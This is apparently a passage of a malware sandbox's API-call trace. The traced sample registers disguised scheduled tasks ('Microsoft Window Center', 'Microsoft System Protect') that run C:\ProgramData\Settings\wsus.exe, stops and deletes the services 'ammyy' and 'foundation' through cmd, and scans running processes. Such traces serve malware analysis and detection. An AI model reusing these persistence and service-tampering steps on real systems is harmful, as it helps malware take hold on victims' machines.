ppSettings=0x18f280*=0x372ae8) returned 0x0 [0070.764] ITaskSettings:put_StartWhenAvailable (This=0x372ae8, StartWhenAvailable=1) returned 0x0 [0070.764] IUnknown:Release (This=0x372ae8) returned 0x1 [0070.764] ITaskDefinition:get_Triggers (in: This=0x372978, ppTriggers=0x18f26c | out: ppTriggers=0x18f26c*=0x372aa8) returned 0x0 [0070.764] ITriggerCollection:Create (in: This=0x372aa8, Type=9, ppTrigger=0x18f274 | out: ppTrigger=0x18f274*=0x372c28) returned 0x0 [0070.765] IUnknown:Release (This=0x372aa8) returned 0x1 [0070.765] IUnknown:QueryInterface (in: This=0x372c28, riid=0x412bcc*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x18f288 | out: ppvObject=0x18f288*=0x372c28) returned 0x0 [0070.765] IUnknown:Release (This=0x372c28) returned 0x2 [0070.765] ITrigger:put_Id (This=0x372c28, Id="Trigger1") returned 0x0 [0070.765] ITrigger:put_StartBoundary (This=0x372c28, StartBoundary="2016-01-01T12:05:00") returned 0x0 [0070.765] ILogonTrigger:put_UserId (This=0x372c28, UserId="qj4SUKboE") returned 0x0 [0070.767] IUnknown:Release (This=0x372c28) returned 0x1 [0070.767] ITaskDefinition:get_Actions (in: This=0x372978, ppActions=0x18f27c | out: ppActions=0x18f27c*=0x3729f0) returned 0x0 [0070.767] IActionCollection:Create (in: This=0x3729f0, Type=0, ppAction=0x18f278 | out: ppAction=0x18f278*=0x372cc0) returned 0x0 [0070.767] IUnknown:Release (This=0x3729f0) returned 0x1 [0070.767] IUnknown:QueryInterface (in: This=0x372cc0, riid=0x412c7c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18f270 | out: ppvObject=0x18f270*=0x372cc0) returned 0x0 [0070.767] IUnknown:Release (This=0x372cc0) returned 0x2 [0070.767] IExecAction:put_Path (This=0x372cc0, Path="C:\\ProgramData\\Settings\\wsus.exe") returned 0x0 [0070.767] IUnknown:Release (This=0x372cc0) returned 0x1 [0070.767] ITaskFolder:RegisterTaskDefinition (in: This=0x372918, Path="Microsoft Window Center", pDefinition=0x372978, flags=6, UserId=0x18edcc*(varType=0x8, wReserved1=0x18, wReserved2=0xff78, wReserved3=0x18, varVal1="qj4SUKboE", varVal2=0x8aebf8), password=0x18eddc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0xffffffff), LogonType=0, sddl=0x18edf0*(varType=0x8, wReserved1=0x0, wReserved2=0xed48, wReserved3=0x8a, varVal1="", varVal2=0x775fe003), ppTask=0x18f284 | out: ppTask=0x18f284*=0x372d48) returned 0x0 [0070.916] IRegisteredTask:Run (in: This=0x372d48, params=0x18edf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0xffffffff), ppRunningTask=0x18f264 | out: ppRunningTask=0x18f264*=0x372dd8) returned 0x0 [0070.919] IUnknown:Release (This=0x372918) returned 0x0 [0070.919] IUnknown:Release (This=0x372978) returned 0x0 [0070.919] IUnknown:Release (This=0x372d48) returned 0x0 [0070.919] IUnknown:Release (This=0x372dd8) returned 0x0 [0070.919] CoUninitialize () [0070.938] GetUserNameW (in: lpBuffer=0x18f048, pcbBuffer=0x18f28c | out: lpBuffer="qj4SUKboE", pcbBuffer=0x18f28c) returned 1 [0070.938] GetLastError () returned 0x0 [0070.938] SetLastError (dwErrCode=0x0) [0070.938] GetLastError () returned 0x0 [0070.938] SetLastError (dwErrCode=0x0) [0070.938] GetLastError () returned 0x0 [0070.939] SetLastError (dwErrCode=0x0) [0070.939] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18d494 | out: lpMode=0x18d494) returned 0 [0070.939] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18d4c0, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x18d4a0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d4a0, lpOverlapped=0x0) returned 0 [0070.939] GetLastError () returned 0x6 [0070.939] GetLastError () returned 0x6 [0070.939] SetLastError (dwErrCode=0x6) [0070.939] GetLastError () returned 0x6 [0070.939] SetLastError (dwErrCode=0x6) [0070.939] CoInitialize (pvReserved=0x0) returned 0x0 [0071.373] CoCreateInstance (in: rclsid=0x411284*(Data1=0x148bd52a, Data2=0xa2ab, Data3=0x11ce, Data4=([0]=0xb1, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x53, [6]=0x5, [7]=0x3)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x411264*(Data1=0x148bd527, Data2=0xa2ab, Data3=0x11ce, Data4=([0]=0xb1, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x53, [6]=0x5, [7]=0x3)), ppv=0x18f290 | out: ppv=0x18f290*=0x37fec8) returned 0x0 [0072.248] ITaskScheduler:NewWorkItem (in: This=0x37fec8, pwszTaskName="Microsoft System Protect", rclsid=0x411274*(Data1=0x148bd520, Data2=0xa2ab, Data3=0x11ce, Data4=([0]=0xb1, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x53, [6]=0x5, [7]=0x3)), riid=0x411254*(Data1=0x148bd524, Data2=0xa2ab, Data3=0x11ce, Data4=([0]=0xb1, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x53, [6]=0x5, [7]=0x3)), ppUnk=0x18f294 | out: ppUnk=0x18f294*=0x372908) returned 0x0 [0072.250] ITaskScheduler:AddWorkItem (This=0x37fec8, pwszTaskName="Microsoft System Protect", pWorkItem=0x372908) returned 0x80070005 [0072.451] IUnknown:Release (This=0x37fec8) returned 0x0 [0072.451] IScheduledWorkItem:Run (This=0x372908) returned 0x0 [0072.455] IUnknown:Release (This=0x372908) returned 0x1 [0072.455] CoUninitialize () [0072.458] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76140000 [0072.458] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd", lpParameters="/C net.exe stop ammyy", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0073.323] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76140000 [0073.324] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd", lpParameters="/C sc delete ammyy", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0073.657] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76140000 [0073.657] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd", lpParameters="/C net.exe stop foundation", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0073.697] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76140000 [0073.697] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd", lpParameters="/C sc delete foundation", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0073.808] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f2d0, csidl=35, fCreate=0 | out: pszPath="C:\\ProgramData") returned 1 [0073.808] wsprintfA (in: param_1=0x41a480, param_2="%s\\Settings" | out: param_1="C:\\ProgramData\\Settings") returned 23 [0073.808] CreateDirectoryA (lpPathName="C:\\ProgramData\\Settings" (normalized: "c:\\programdata\\settings"), lpSecurityAttributes=0x0) returned 1 [0073.809] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0073.812] Process32First (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.813] lstrcmpA (lpString1="[System Process]", lpString2="wsus.exe") returned -1 [0073.813] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.813] lstrcmpA (lpString1="System", lpString2="wsus.exe") returned -1 [0073.813] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.813] lstrcmpA (lpString1="smss.exe", lpString2="wsus.exe") returned -1 [0073.813] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.814] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0073.814] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.814] lstrcmpA (lpString1="wininit.exe", lpString2="wsus.exe") returned -1 [0073.814] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.815] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0073.815] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.815] lstrcmpA (lpString1="winlogon.exe", lpString2="wsus.exe") returned -1 [0073.815] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.816] lstrcmpA (lpString1="services.exe", lpString2="wsus.exe") returned -1 [0073.816] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.816] lstrcmpA (lpString1="lsass.exe", lpString2="wsus.exe") returned -1 [0073.816] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.817] lstrcmpA (lpString1="lsm.exe", lpString2="wsus.exe") returned -1 [0073.817] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.817] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.817] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.818] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.818] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.818] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.818] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.819] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.819] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.819] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.819] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.819] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.820] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.820] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.820] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.820] lstrcmpA (lpString1="spoolsv.exe", lpString2="wsus.exe") returned -1 [0073.820] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.821] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0073.821] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.821] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.821] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.822] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0073.822] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.822] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.822] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.823] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0073.823] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0073.823] lstrcmpA (lpString1="sppsvc.exe", lpString2="wsus.exe") returned -1 [0073.823] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.824] lstrcmpA (lpString1="dwm.exe", lpString2="wsus.exe") returned -1 [0073.824] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.824] lstrcmpA (lpString1="explorer.exe", lpString2="wsus.exe") returned -1 [0073.824] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.825] lstrcmpA (lpString1="audiodg.exe", lpString2="wsus.exe") returned -1 [0073.825] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.825] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.825] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.826] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0073.826] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.826] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0073.826] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0073.827] lstrcmpA (lpString1="ghana-reaction.exe", lpString2="wsus.exe") returned -1 [0073.827] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0073.827] lstrcmpA (lpString1="survive recipes.exe", lpString2="wsus.exe") returned -1 [0073.827] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0073.828] lstrcmpA (lpString1="wiley listprice immigration mn.exe", lpString2="wsus.exe") returned -1 [0073.828] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0073.828] lstrcmpA (lpString1="temp la various.exe", lpString2="wsus.exe") returned -1 [0073.828] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0073.828] lstrcmpA (lpString1="metropolitan storm.exe", lpString2="wsus.exe") returned -1 [0073.829] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0073.829] lstrcmpA (lpString1="thats-viewing-llc.exe", lpString2="wsus.exe") returned -1 [0073.829] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0073.829] lstrcmpA (lpString1="houses.exe", lpString2="wsus.exe") returned -1 [0073.829] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0073.830] lstrcmpA (lpString1="renewal.exe", lpString2="wsus.exe") returned -1 [0073.830] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0073.830] lstrcmpA (lpString1="zones transferred trainers.exe", lpString2="wsus.exe") returned 1 [0073.830] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0073.831] lstrcmpA (lpString1="courses ham.exe", lpString2="wsus.exe") returned -1 [0073.831] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0073.831] lstrcmpA (lpString1="canon.exe", lpString2="wsus.exe") returned -1 [0073.831] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0073.832] lstrcmpA (lpString1="fairlysettingoperational.exe", lpString2="wsus.exe") returned -1 [0073.832] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0073.832] lstrcmpA (lpString1="claimed desk.exe", lpString2="wsus.exe") returned -1 [0073.832] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0073.833] lstrcmpA (lpString1="mel_ds_cancelled.exe", lpString2="wsus.exe") returned -1 [0073.833] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0073.833] lstrcmpA (lpString1="appears_li_pressed_h.exe", lpString2="wsus.exe") returned -1 [0073.833] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0073.834] lstrcmpA (lpString1="quite-consumer-opera.exe", lpString2="wsus.exe") returned -1 [0073.834] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0073.834] lstrcmpA (lpString1="tile-conflict-specializing-authentic.exe", lpString2="wsus.exe") returned -1 [0073.834] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0073.834] lstrcmpA (lpString1="unlimited breakdown.exe", lpString2="wsus.exe") returned -1 [0073.835] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0073.835] lstrcmpA (lpString1="aluminiumglmessagesymptoms.exe", lpString2="wsus.exe") returned -1 [0073.835] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0073.835] lstrcmpA (lpString1="EXCEL.EXE", lpString2="wsus.exe") returned -1 [0073.835] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, 